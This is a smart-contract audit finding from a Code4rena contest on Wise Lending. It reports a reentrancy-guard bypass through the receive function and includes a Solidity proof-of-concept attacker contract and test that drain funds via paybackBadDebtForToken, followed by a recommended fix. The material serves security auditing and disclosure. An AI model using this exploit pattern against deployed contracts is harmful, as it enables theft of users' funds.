code-423n4 / 2024-02-wise-lending-findings

11 stars 8 forks source link

Exploitation of the receive Function to Steal Funds #228

Open c4-bot-5 opened 5 months ago

c4-bot-5 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L97 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L275 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L636 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L49 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/TransferHub/SendValueHelper.sol#L12 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L681 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L730

Vulnerability details

Vulnerability Details:

The WiseLending contract incorporates a reentrancy guard through its syncPool modifier, specifically within the _syncPoolBeforeCodeExecution function. This guard is meant to prevent reentrancy during external calls, such as in the withdrawExactAmountETH function, which processes ETH withdrawals for users.

However, there is currently a way to reset this guard, allowing for potential reentrant attacks during external calls. The WiseLending contract includes a receive function designed to automatically redirect all ETH sent directly to it (apart from transactions from the WETH address) to a specified master address.

To forward the ETH the _sendValue function is used, here the sendingProgress variable (which is used for reentrancy checks) is set to true to denote the start of the transfer process and subsequently reset to false following the completion of the call.

    function _sendValue(
        address _recipient,
        uint256 _amount
    )
        internal
    {
        if (address(this).balance < _amount) {
            revert AmountTooSmall();
        }

        sendingProgress = true;

        (
            bool success
            ,
        ) = payable(_recipient).call{
            value: _amount
        }("");

        sendingProgress = false;

        if (success == false) {
            revert SendValueFailed();
        }
    }

As a result, an attacker could bypass an active reentrancy guard by initiating the receive function, effectively resetting the sendingProgress variable. This action clears the way for an attacker to re-enter any function within the contract, even those protected by the reentrancy guard.

Having bypassed the reentrancy protection, let's see how this vulnerability could be leveraged to steal funds from the contract.

The withdrawExactAmountETH function allows users to withdraw their deposited shares from the protocol and receive ETH, this function also contains a healthStateCheck to ensure post withdrawal a users position is still in a healthy state. Note that this health check is done after the external call that pays out the user ETH, this will be important later on.

The protocol also implements a paybackBadDebtForToken function that allows users to pay off any other users bad debt and receive a 5% incentive for doing so.

To understand how this can be exploited, consider the following example:

Proof Of Concept

Testing is done in the WiseLendingShutdownTest file, with ContractA imported prior to executing tests.

// import ContractA
import "./ContractA.sol";
// import MockErc20
import "./MockContracts/MockErc20.sol";

contract WiseLendingShutdownTest is Test {
    ...
    ContractA public contractA;

    function _deployNewWiseLending(bool _mainnetFork) internal {
        ...
        contractA = new ContractA(address(FEE_MANAGER_INSTANCE), payable(address(LENDING_INSTANCE)));
        ...
    }
    function testExploitReentrancy() public {
        uint256 depositValue = 10 ether;
        uint256 borrowAmount = 2 ether;
        vm.deal(address(contractA), 2 ether);

        ORACLE_HUB_INSTANCE.setHeartBeat(WETH_ADDRESS, 100 days);

        POSITION_NFTS_INSTANCE.mintPosition();

        uint256 nftId = POSITION_NFTS_INSTANCE.tokenOfOwnerByIndex(address(this), 0);

        LENDING_INSTANCE.depositExactAmountETH{value: depositValue}(nftId);
        LENDING_INSTANCE.borrowExactAmountETH(nftId, borrowAmount);

        vm.prank(address(LENDING_INSTANCE));
        MockErc20(WETH_ADDRESS).transfer(address(FEE_MANAGER_INSTANCE), 1 ether);

        // check contractA balance
        uint ethBalanceStart = address(contractA).balance;
        uint wethBalanceStart = MockErc20(WETH_ADDRESS).balanceOf(address(contractA));
        //total
        uint totalBalanceStart = ethBalanceStart + wethBalanceStart;
        console.log("totalBalanceStart", totalBalanceStart);

        // deposit using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.depositExactAmountETHMint{value: 2 ether}();
        vm.stopPrank();

       FEE_MANAGER_INSTANCE._increaseFeeTokens(WETH_ADDRESS, 1 ether);

        // withdraw weth using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.withdrawExactAmount(2, WETH_ADDRESS, 1 ether);
        vm.stopPrank();

        // approve feemanager for 1 weth from contractA
        vm.startPrank(address(contractA));
        MockErc20(WETH_ADDRESS).approve(address(FEE_MANAGER_INSTANCE), 1 ether);
        vm.stopPrank();

        // borrow using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.borrowExactAmount(2,  WETH_ADDRESS, 0.5 ether);
        vm.stopPrank();

        // Payback amount
        //499537556593483218

        // withdraw using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.withdrawExactAmountETH(2, 0.99 ether);
        vm.stopPrank();

        // check contractA balance
        uint ethBalanceAfter = address(contractA).balance;
        uint wethBalanceAfter = MockErc20(WETH_ADDRESS).balanceOf(address(contractA));
        //total
        uint totalBalanceAfter = ethBalanceAfter + wethBalanceAfter;
        console.log("totalBalanceAfter", totalBalanceAfter);
        uint diff = totalBalanceAfter - totalBalanceStart;
        assertEq(diff > 5e17, true, "ContractA profit greater than 0.5 eth");
    }
// SPDX-License-Identifier: -- WISE --

pragma solidity =0.8.24;

// import lending and fees contracts
import "./WiseLending.sol";
import "./FeeManager/FeeManager.sol";

contract ContractA {
    address public feesContract;
    address payable public lendingContract;

    address constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    constructor(address _feesContract, address payable _lendingContract) payable {
        feesContract = _feesContract;
        lendingContract = _lendingContract;
    }

    fallback() external payable {
        if (msg.sender == lendingContract) {
            // send lending contract 0.01 eth to reset reentrancy flag
            (bool sent, bytes memory data) = lendingContract.call{value: 0.01 ether}("");
            //paybackBadDebtForToken
            FeeManager(feesContract).paybackBadDebtForToken(2, WETH_ADDRESS, WETH_ADDRESS, 499537556593483218);
        }
    }
}

Impact:

This vulnerability allows an attacker to illicitly withdraw funds from the contract through the outlined method. Additionally, the exploit could also work using the contract's liquidation process instead.

Tools Used:

Recommendation:

Edit the _sendValue function to include a reentrancy check. This ensures that the reentrancy guard is first checked, preventing attackers from exploiting this function as a reentry point. This will also not disrupt transfers from the WETH address as those don’t go through the _sendValue function.

    function _sendValue(
        address _recipient,
        uint256 _amount
    )
        internal
    {
        if (address(this).balance < _amount) {
            revert AmountTooSmall();
        }

    _checkReentrancy(); //add here

        sendingProgress = true;

        (
            bool success
            ,
        ) = payable(_recipient).call{
            value: _amount
        }("");

        sendingProgress = false;

        if (success == false) {
            revert SendValueFailed();
        }
    }

Assessed type

Other

c4-pre-sort commented 5 months ago

GalloDaSballo marked the issue as duplicate of #40

c4-pre-sort commented 5 months ago

GalloDaSballo marked the issue as high quality report

c4-judge commented 5 months ago

trust1995 marked the issue as selected for report

c4-judge commented 5 months ago

trust1995 marked the issue as satisfactory

thebrittfactor commented 3 months ago

For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.